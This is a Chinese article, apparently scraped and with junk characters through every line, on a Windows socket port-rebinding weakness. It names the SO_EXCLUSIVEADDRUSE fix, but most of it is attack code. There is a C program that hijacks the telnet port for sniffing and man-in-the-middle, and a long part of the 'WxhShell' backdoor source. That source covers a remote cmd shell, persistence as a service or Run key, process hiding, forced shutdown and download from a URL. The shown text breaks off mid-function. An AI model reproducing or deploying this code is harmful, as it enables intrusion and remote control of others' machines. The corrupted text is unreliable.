在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
H(G^O&ppdB s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
bqQO E4; { .3 saddr.sin_family = AF_INET;
l^UJes! 7?!Z+r saddr.sin_addr.s_addr = htonl(INADDR_ANY);
-Xxu/U})% <\d|=>; bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
$,e?X}4 )y/DGSd
其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
f{^M.G@ k#Ez 这意味着什么?意味着可以进行如下的攻击:
<K#'3&*$s (4/]dTb 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
W93JY0Ls9| &I}T<v{f 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
<f.>jjwFE s\Pt,I@Y_ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
!(]dz~sM g#'fd/?Q 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
x*R8^BA]pR "h;;.Y8e 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
( ztim =2nn "YVP 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
n,?IcDU~m OSa}8rlr' 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
4Ay`rG j.; #include
fZ6 fV=HEF #include
.mT#%ex #include
txml*/zL #include
x>^3]m DWORD WINAPI ClientThread(LPVOID lpParam);
&vFqe,Z int main()
uh5Pn#da^ {
K(Q]&&< WORD wVersionRequested;
4P4 Fo1 DWORD ret;
Zc%foK{ WSADATA wsaData;
ckf<N9 BOOL val;
kByrhK5U SOCKADDR_IN saddr;
#6N+5Yx_[ SOCKADDR_IN scaddr;
AvrL9D int err;
y^d[( c SOCKET s;
o=-Vt,2{ SOCKET sc;
b\?7?g int caddsize;
ljYpMv.>xG HANDLE mt;
aVppOxA DWORD tid;
-3G 4vRIo wVersionRequested = MAKEWORD( 2, 2 );
97(Xu=tX
err = WSAStartup( wVersionRequested, &wsaData );
S$jV|xKB if ( err != 0 ) {
<}EV*`w4 printf("error!WSAStartup failed!\n");
B?;' lDz* return -1;
*gd?>P7\0 }
<Qcex3 saddr.sin_family = AF_INET;
)+n,5W JQ"`9RNb //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Xq,UV BKC7kDK3H saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
<?LfOSdMs^ saddr.sin_port = htons(23);
4fw1_pv_D if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
@e!Zc3 {
xb9Pc.A[ printf("error!socket failed!\n");
&o*s !u return -1;
&c!j`86y* }
j\`EUC val = TRUE;
t['k%c //SO_REUSEADDR选项就是可以实现端口重绑定的
n5Nan
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
EjR_-8@FK {
CxbSj, printf("error!setsockopt failed!\n");
*GbVMW[A> return -1;
RgB6:f, }
'yPCZ`5H( //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
.3lGX`d{ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Mw"xm9(Q //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
pg~zUOY -?< Ww{ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
hWD ! {
1R=)17'O ret=GetLastError();
TL},Unq printf("error!bind failed!\n");
PIZ
C;K4| return -1;
&1z)fD2 }
oA4D\rn8" listen(s,2);
`Yx-~y5X while(1)
0'?V|V=v {
vKNt$]pm= caddsize = sizeof(scaddr);
q2x|%HRF //接受连接请求
4%g6_KB sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
P%zH>K if(sc!=INVALID_SOCKET)
_0'm4?" {
b8J@K" mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Y{B9`Z if(mt==NULL)
RAIVdQ}.Z {
0a"igH} printf("Thread Creat Failed!\n");
D
JLi ZS break;
vkd[:CC }
B4]AFRI }
,CJAzGBS CloseHandle(mt);
4. 1rJa }
[YC=d1F5 closesocket(s);
qbS'|--wH WSACleanup();
&/Eg2 return 0;
Lw*;tL<, }
9[cp7 Rcb DWORD WINAPI ClientThread(LPVOID lpParam)
fCgBH~w,9 {
eeuZUf+~] SOCKET ss = (SOCKET)lpParam;
:GU,EDps SOCKET sc;
_&8O~8tW unsigned char buf[4096];
&qJPwO SOCKADDR_IN saddr;
;~W8v.EW long num;
3gb|x? DWORD val;
J+Q+&-a DWORD ret;
P!kw;x //如果是隐藏端口应用的话,可以在此处加一些判断
lj.nCV_ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
kTnOmAw saddr.sin_family = AF_INET;
>qR7'Q wP saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
vB[~pQ;Z saddr.sin_port = htons(23);
<,\ `Psa)N if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
W7H&R, {
P
@zz"~f7 printf("error!socket failed!\n");
}10\K return -1;
}$o* }
IUOxGJ|rO val = 100;
L2KG0i`+ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
-x{dc7y2 {
!7}IqSs ret = GetLastError();
/-h6`@[ return -1;
z5x _fAT( }
>A-<ZS*N if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
b9!.-^<8y {
<3d;1o ret = GetLastError();
Mr-DGLJ return -1;
6yY.!HRkr }
~@{w\%(AK] if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
>DHp*$y {
[+;qWfs B printf("error!socket connect failed!\n");
#Mh{<gk%ax closesocket(sc);
W+_ R hJ closesocket(ss);
Jlp<koy return -1;
mw_ E&v }
Mtm/}I while(1)
^$!987" {
W4(v6>5l //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
sONBQ9 //如果是嗅探内容的话,可以再此处进行内容分析和记录
o/C(4q6d //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
g& k58{e num = recv(ss,buf,4096,0);
$[g_=Z if(num>0)
!=3Rg-'d1 send(sc,buf,num,0);
Guh%eR'Wt else if(num==0)
rz6uDJ" break;
] /+D^6 num = recv(sc,buf,4096,0);
%?bcT[|3 if(num>0)
u_PuqRcs send(ss,buf,num,0);
0n.S,3|
else if(num==0)
-D^L}b break;
EFAGP${F }
=+Im*mgNn closesocket(ss);
EeB ]X24 closesocket(sc);
4e +~.5r@i return 0 ;
'0:i<`qv#g }
77V
.["=7 9}5K6aQ CswE ==========================================================
in<}fAro6 yPV'pT) 下边附上一个代码,,WXhSHELL
P-CB;\ . V$ps-t ==========================================================
~]BMrgn ZsZcQj6G, #include "stdafx.h"
BYi)j6" UNDi_6Dy #include <stdio.h>
XF}rd.K: #include <string.h>
#]9hTa IR #include <windows.h>
9AHSs,.t #include <winsock2.h>
q]\X~
9# #include <winsvc.h>
&-%X:~|:X #include <urlmon.h>
P}V=*g k;I &.H #pragma comment (lib, "Ws2_32.lib")
EATu KLP\ #pragma comment (lib, "urlmon.lib")
3$VxRz) 3LDsxE=N:q #define MAX_USER 100 // 最大客户端连接数
=p@8z
/u #define BUF_SOCK 200 // sock buffer
fTqC:r|st #define KEY_BUFF 255 // 输入 buffer
/4$4h;_8 M\oTZ@ #define REBOOT 0 // 重启
Sw8kIC #define SHUTDOWN 1 // 关机
WA$JI@g ^N{ltgQY #define DEF_PORT 5000 // 监听端口
aE|OTm+@9; N8v'70 #define REG_LEN 16 // 注册表键长度
-kp swP #define SVC_LEN 80 // NT服务名长度
""{|3XJe Wkzs<y" // 从dll定义API
BI2; ex typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
+Llo81j& typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
0:&ZnE}## typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
~GJN@ka4% typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
?m0IehI [u
M-0t // wxhshell配置信息
}CDk9Xk struct WSCFG {
&<5+!cV= int ws_port; // 监听端口
YE}s char ws_passstr[REG_LEN]; // 口令
4 =Gph int ws_autoins; // 安装标记, 1=yes 0=no
uS+k^
# char ws_regname[REG_LEN]; // 注册表键名
J:j<"uPm char ws_svcname[REG_LEN]; // 服务名
F7MzCZvu char ws_svcdisp[SVC_LEN]; // 服务显示名
]XA4;7 char ws_svcdesc[SVC_LEN]; // 服务描述信息
,FZT~? char ws_passmsg[SVC_LEN]; // 密码输入提示信息
06*rWu9P3 int ws_downexe; // 下载执行标记, 1=yes 0=no
`zpbnxOL$T char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
^YvB9XN char ws_filenam[SVC_LEN]; // 下载后保存的文件名
g~S)aU\:, %."@Q$lA };
N^w'Hw0 1tMQqI`N // default Wxhshell configuration
U__(;
/1; struct WSCFG wscfg={DEF_PORT,
nkDy!"K "xuhuanlingzhe",
|3hY6aty 1,
=Z G:x<Hg "Wxhshell",
S/ [E8T" "Wxhshell",
*[+)7 "WxhShell Service",
%Sk@GNI_ "Wrsky Windows CmdShell Service",
v4Ga0]VN$8 "Please Input Your Password: ",
RthT\%R 1,
WO</Mw "
http://www.wrsky.com/wxhshell.exe",
($nrqAv4 "Wxhshell.exe"
Oco YV J };
,8MLoZ_ BZv+H=b // 消息定义模块
v"^~&q0x char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
oU6y4yO char *msg_ws_prompt="\n\r? for help\n\r#>";
gEQNs\Jn
L char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
fyWO char *msg_ws_ext="\n\rExit.";
F^k.is
char *msg_ws_end="\n\rQuit.";
SP]IUdE\ char *msg_ws_boot="\n\rReboot...";
p4K.NdUH char *msg_ws_poff="\n\rShutdown...";
o4b~4h{% char *msg_ws_down="\n\rSave to ";
EGq;7l6u&? nqVZqX@oE char *msg_ws_err="\n\rErr!";
kcie}Be char *msg_ws_ok="\n\rOK!";
=*vMA#e 2[fN\e{ char ExeFile[MAX_PATH];
MZJ]Dwt] int nUser = 0;
\C^;k%{LV HANDLE handles[MAX_USER];
ra N)8w}- int OsIsNt;
q my%J 1xE]6he4{T SERVICE_STATUS serviceStatus;
Q7X3X, SERVICE_STATUS_HANDLE hServiceStatusHandle;
3jH \yXj k
n[Y // 函数声明
sOCs13A" int Install(void);
WY:&ugGx int Uninstall(void);
llV3ka^! int DownloadFile(char *sURL, SOCKET wsh);
Z?Hs@j int Boot(int flag);
h].~# * void HideProc(void);
._9
n~=! int GetOsVer(void);
R9rj/Co int Wxhshell(SOCKET wsl);
G rmzkNlN void TalkWithClient(void *cs);
kql0J|P? int CmdShell(SOCKET sock);
YXurYwV int StartFromService(void);
E m
6Qe int StartWxhshell(LPSTR lpCmdLine);
bI)u/ r7]zQIE VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
c#IYFTz VOID WINAPI NTServiceHandler( DWORD fdwControl );
b1XRC`Gy r|e-<t4.9L // 数据结构和表定义
D]a <4a18 SERVICE_TABLE_ENTRY DispatchTable[] =
!\8 ;d8 {
VQ5nq'{v {wscfg.ws_svcname, NTServiceMain},
D?yG+%&9 {NULL, NULL}
|t
iUej };
&N~ZI*^ UO*Ymj
1 // 自我安装
[%Bf<
J< int Install(void)
bwM@/g%DL {
!o=U19) char svExeFile[MAX_PATH];
<s5qy- HKEY key;
5]I| DHmu strcpy(svExeFile,ExeFile);
zk*c)s ##Q/I| // 如果是win9x系统,修改注册表设为自启动
[.hyZ}B if(!OsIsNt) {
h_1T,f( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
c gzwx RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
G0u LmW70 RegCloseKey(key);
CC\*?BKj" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
3p2P=
T RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
mbnV[ RegCloseKey(key);
9Y>8=#.c return 0;
kF;DBN }
HHX-1+L }
r:&`$8$ }
53-v|'9' else {
;zM*bWh9 r<F hY // 如果是NT以上系统,安装为系统服务
R8rfM?"W SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
\0lnxLA if (schSCManager!=0)
*BuUHjTv {
@/ZF` : SC_HANDLE schService = CreateService
bY}eUL2i4 (
aLJ(?8M@ schSCManager,
)ZrS{vY wscfg.ws_svcname,
)o-Q!<*1 wscfg.ws_svcdisp,
o?1;<gs SERVICE_ALL_ACCESS,
Xc"&0v%;# SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
[aI]y=v SERVICE_AUTO_START,
lrfv+ SERVICE_ERROR_NORMAL,
X#3et' svExeFile,
uVzFsgBp NULL,
>5s6u`\ NULL,
OpM(j& NULL,
I;Vu W NULL,
yaq'Lt` NULL
A)%A!
);
[,2|Flf
e if (schService!=0)
{ hln?' {
AU-n&uX CloseServiceHandle(schService);
"qc6=:y} CloseServiceHandle(schSCManager);
d*)CT?d& strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
nhIa175' strcat(svExeFile,wscfg.ws_svcname);
kJWN. if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
#Z6'?p9 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
L?5Ck<!xG RegCloseKey(key);
hx/N1x return 0;
"4vy lHIo }
Dfq(Iv }
Hwo$tVa:= CloseServiceHandle(schSCManager);
Y"OG@1V;8 }
GA7}K:LP'k }
Y0D}g3` ynA|}X return 1;
h3dsd }
&WNf
M+ JaB<EL-9r2 // 自我卸载
b~nAPY6 int Uninstall(void)
U|g:`v7 {
4C}bJzZ HKEY key;
+}f9 LM&y@"wfm if(!OsIsNt) {
~z" =G5| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
@6l%,N<fou RegDeleteValue(key,wscfg.ws_regname);
D#&q&6P{ RegCloseKey(key);
nLV9<M
Zm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
y*D]Q`5cag RegDeleteValue(key,wscfg.ws_regname);
Oft4-4$E RegCloseKey(key);
sP^R/z|Y return 0;
[s&$l G! }
V+I|1{@i0 }
t|~YEQ }
o.q/O)'V u else {
:n /@z4# |&Ym@Jyj SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
6252N]* if (schSCManager!=0)
wn)JXR {
~I{n^Q/a SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
+-E~6^> if (schService!=0)
1Bpv"67 {
<{~6}6o if(DeleteService(schService)!=0) {
;j4?>3 CloseServiceHandle(schService);
i;!H!-sM CloseServiceHandle(schSCManager);
ID#I`}h.k return 0;
765p/** }
-?(E_^ng CloseServiceHandle(schService);
r#xg#u oj }
~ o1x;Y6 CloseServiceHandle(schSCManager);
271&i }
6M13f@v }
(PfqRk1Y
>3c@x return 1;
?JL:CBvCp }
C-iK$/U yRo-EP // 从指定url下载文件
:O(^w}sle int DownloadFile(char *sURL, SOCKET wsh)
^5=B`aich {
xhRngHU\z< HRESULT hr;
4C FB"?n0 char seps[]= "/";
Q'%PNrN char *token;
H@ t'~ZO char *file;
o1<_fI char myURL[MAX_PATH];
hGiz)v~ char myFILE[MAX_PATH];
b, :QT~g= `F/Tv 5@L strcpy(myURL,sURL);
yz0zFfiX token=strtok(myURL,seps);
^a#X9 while(token!=NULL)
Offu9`DiZ {
Me=CSQqf< file=token;
Br`IW token=strtok(NULL,seps);
tO0!5#-VR }
YfRkwKjy( /{|fyKo\? GetCurrentDirectory(MAX_PATH,myFILE);
F$[ U|%* strcat(myFILE, "\\");
o`Ta("9^ strcat(myFILE, file);
rD*sl} send(wsh,myFILE,strlen(myFILE),0);
y
K"kEA[; send(wsh,"...",3,0);
23h%
< , hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
7U"[Gf if(hr==S_OK)
",!1m7[wF return 0;
:sCqjz else
'3?\K3S4i return 1;
6H'HxB4 /z}~zO }
Q:5KZm[ [ VO"("7L // 系统电源模块
Ntbg`LGf'! int Boot(int flag)
-=(!g&0 {
*k19LI.5 HANDLE hToken;
hXA6D) TOKEN_PRIVILEGES tkp;
]8T!qS(UJd sVl-N&/ if(OsIsNt) {
VZ\B<i OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
A,`8#-AX LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
lEV]4
t_H tkp.PrivilegeCount = 1;
9-rNw?7 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
0=K9`=5d0 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
rta:f800z if(flag==REBOOT) {
-N"&/) if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
D&S26jrZ return 0;
#
0Lf<NZ }
9k 6r_G" else {
0C>%LJ8r if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
&-mX , return 0;
Pcw6!xH }
$H-!j%hV }
TY Qwy* else {
qkC/\![@ if(flag==REBOOT) {
VH[hsj if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Qm/u h return 0;
DoeiW= }
0fYj4`4=n else {
46 PoM if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
0A( +ZMd return 0;
="g*\s?r }
K#U<ib-v }
mL4] l(U J2^'Xj_V return 1;
xl#LrvxI }
}oNhl^JC [h,Q Bz // win9x进程隐藏模块
)LyojwY_g void HideProc(void)
' Tc]KXD6 {
~t~-A,1 oIefw:FE,a HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
;
k)@DX if ( hKernel != NULL )
3:C oZ {
*Q,0W:~- pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
U\R}`l ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
kP?KXT3y FreeLibrary(hKernel);
et }T%~T }
[AW"
D3 ]Ei0d8Uo return;
@U2qD
J6 }
B4mR9HMh =|YxDas // 获取操作系统版本
;]pJj6J&v int GetOsVer(void)
D`VM6/iQR {
ph-ATJ" OSVERSIONINFO winfo;
^Y
iJV7 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
QI3Nc8t_2 GetVersionEx(&winfo);
9J?wO9rI if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
iURk=*Z= return 1;
Ck!VV2U# else
+*hm-lv? return 0;
:Cp'm'omb }
J52
o
g4l
0gfA#|' // 客户端句柄模块
7=DjI ~ int Wxhshell(SOCKET wsl)
Yk5}`d!: {
48*Do}l] SOCKET wsh;
4A2?Uhpy struct sockaddr_in client;
YE9,KVV;$n DWORD myID;
dtcIC0:[ 6#Q K%[1!> while(nUser<MAX_USER)
Qu]z)";7 {
<0PT"ij int nSize=sizeof(client);
,.qMEMm wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
r9ww.PpNk# if(wsh==INVALID_SOCKET) return 1;
f?'JAC* %,k][V handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
^)W[l!!<) if(handles[nUser]==0)
()3O=! closesocket(wsh);
n8DxB@DI else
KFFSv{m[ nUser++;
?IGVErnJJC }
[NTtz
<i@ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
WuZ/C_ w18y}mS"H return 0;
.k0~Vh2u }
A21N|$[ YR;^hs? // 关闭 socket
Ed
,D8ND void CloseIt(SOCKET wsh)
4M^G`WA}t9 {
D7S'*;F closesocket(wsh);
`8Lo {P nUser--;
Z%n(O(^L ExitThread(0);
ZE/o?4k*c1 }
FTeu~<KpM UF@XK"> // 客户端请求句柄
P'O#I}Dmw< void TalkWithClient(void *cs)
W[^qa5W<FB {
C|?o*fQ {U_$&f9s SOCKET wsh=(SOCKET)cs;
R?p00 char pwd[SVC_LEN];
J:kmqk! char cmd[KEY_BUFF];
\l@,B +) char chr[1];
xu'yVt9RC int i,j;
$]rj73p^tH {pHM},WJ while (nUser < MAX_USER) {
Iy6$7~ //4Xq8y if(wscfg.ws_passstr) {
HX6Ma{vBk if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
&|`C)6[C //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
+r<0zh,n. //ZeroMemory(pwd,KEY_BUFF);
[o<VVtB.Gk i=0;
NoJ`6MB while(i<SVC_LEN) {
NmSo4Dg`U }nMPSerE // 设置超时
,DZX$Ug~+E fd_set FdRead;
leQT-l2Bk struct timeval TimeOut;
+(+Itmx2& FD_ZERO(&FdRead);
7H|$4;X^ FD_SET(wsh,&FdRead);
5Fz.Y} TimeOut.tv_sec=8;
%bdjBa} TimeOut.tv_usec=0;
"1-}A(X int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
_IdRF5<4 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
HWVtop/ >N.]|\V if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
-@Uqz781 pwd
=chr[0]; Ogp"u b 8
if(chr[0]==0xd || chr[0]==0xa) { \~5C7^_
pwd=0; S*sT] J`!
break; !Lh^oPT"I
} E.U_W
i++; O/!bG~\Y
} E~AjK'Z
D91e\|]
// 如果是非法用户,关闭 socket 3q?\r`
a
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T]?n)L,2
} "hy.GWF|*
0pSmj2/,.
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @GvztVYo
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z?O*'#yn
{b@KYR9K
while(1) { Glpe/At
np4+"
ZeroMemory(cmd,KEY_BUFF); =?-ye!w
IO/4.m-aN#
// 自动支持客户端 telnet标准 41_SRh7N
j=0; Wn>@9"
while(j<KEY_BUFF) { MG?0>^F
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }E7:ihy
cmd[j]=chr[0]; Q3y;$ "
if(chr[0]==0xa || chr[0]==0xd) { ":nQgV\9
cmd[j]=0; $*W6A/%O
break; ~M(5Ho
} _fwb!T}$
j++; dqX;#H}h
} !L95^g
h)me\U7UC
// 下载文件 Q(o!iI:Gts
if(strstr(cmd,"http://")) { wm+})SOX9
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Rtjqx6-B;
if(DownloadFile(cmd,wsh)) E[^ {w
send(wsh,msg_ws_err,strlen(msg_ws_err),0); M1%Dg'}G
else 1U,1)<z~u
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QL$S4 J"
} %xQ.7~
else { .WQ+AE8Q
Q*XE
h
switch(cmd[0]) { q}FVzahv
aBzszp]l+
// 帮助 @+WQ ^
case '?': { ehA;i.n
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [JaS??ig
break; wlPx,UqZ
} @p|$/Z%R,
// 安装 F]I=+T
case 'i': { _0 m\[t.
if(Install()) PG]%Bv57
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gx
72
else z~\t|Z]G,|
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U #~;)fZ
break; O MX-_\")
} nL?oTze*p
// 卸载 H- p;6C<
case 'r': { K)_WL]RJ.4
if(Uninstall()) 8_!.!Kde |
send(wsh,msg_ws_err,strlen(msg_ws_err),0); v{<[)cr
else [>|FB '
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >\!4Mk8
break; Bu]t*$
} LA[g(i 7
// 显示 wxhshell 所在路径 jp+_@S>
case 'p': { Pe2w sR"_U
char svExeFile[MAX_PATH]; dr<<! q /
strcpy(svExeFile,"\n\r"); cc44R|Kr$$
strcat(svExeFile,ExeFile); O6]. *25
send(wsh,svExeFile,strlen(svExeFile),0); "+uNmUUnm
break; ;;)`c/$
} {>bW>RO)
// 重启 >Ng)k]G
case 'b': { dz[
bm<T7
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1w"8~Z:UXV
if(Boot(REBOOT)) g`>og^7g
send(wsh,msg_ws_err,strlen(msg_ws_err),0); R3X{:1{j
else { Em7 WDu0
closesocket(wsh); J# kl
7
ExitThread(0); vJ`.iRU|
} !JBae2Z
break; {5|("0[F
} |([R'Orm
// 关机 /1`cRyS
case 'd': { }!TL2er_
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Bg8#qv
if(Boot(SHUTDOWN)) z5]bia,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *{o UWt
else { ,pBh`av
closesocket(wsh); T$=4O9G
ExitThread(0); Q7bq
} pA4*bO+
break; ]h9!ei
[
} QjPj[c
// 获取shell >ulY7~wUv
case 's': { \b*X:3g*
CmdShell(wsh); ^S#t|rN
closesocket(wsh); =IKEb#R/
ExitThread(0); oK9'
break; Yct5V,X^
} 0qFH
s
// 退出 @InZ<AW>|
case 'x': { !SsHAE|
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); OU7 %V)X5
CloseIt(wsh); y }08~L?2
break; &2I*0
} _KD5T4FZR
// 离开 4l8BQz}sb
case 'q': { GYB+RU}],
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9F;S+)H4
closesocket(wsh); q|)Q9+6$+
WSACleanup(); (5$ZvXx?}
exit(1); AD('=g J
break; VzlDHpG
} K^t?gt@k}
} r gcWRt
} <f~Fl^^8
%}>dqUyQ
// 提示信息 /Y^8SO4
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |vFj*XU
} `3q;~ 9
} DW(~Qdk
[*m2
return; 4QJ8Z t
} ] q~<=
GQ_Ia\
// shell模块句柄 SJgY
int CmdShell(SOCKET sock) o{-<L
{ 8n?kZY$,
STARTUPINFO si; 9j|gdfb%ml
ZeroMemory(&si,sizeof(si)); %zo=
K}u
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
l+y-Fo@
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 34|a:5c
PROCESS_INFORMATION ProcessInfo; H]#Rg`~n
char cmdline[]="cmd"; l)+:4N?iVv
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .>6 Wv0
return 0; Z$ KV&.=+
} @\Js8[wS9@
+K6szGP
// 自身启动模式 #NRh\Wj|
int StartFromService(void) dX
)W0
{ /2NSZO
typedef struct gmSQcN)
{ 0NO1M)HQv
DWORD ExitStatus; RM*f|j
DWORD PebBaseAddress; 0&fl#]oCE
DWORD AffinityMask; J7i+c];!<
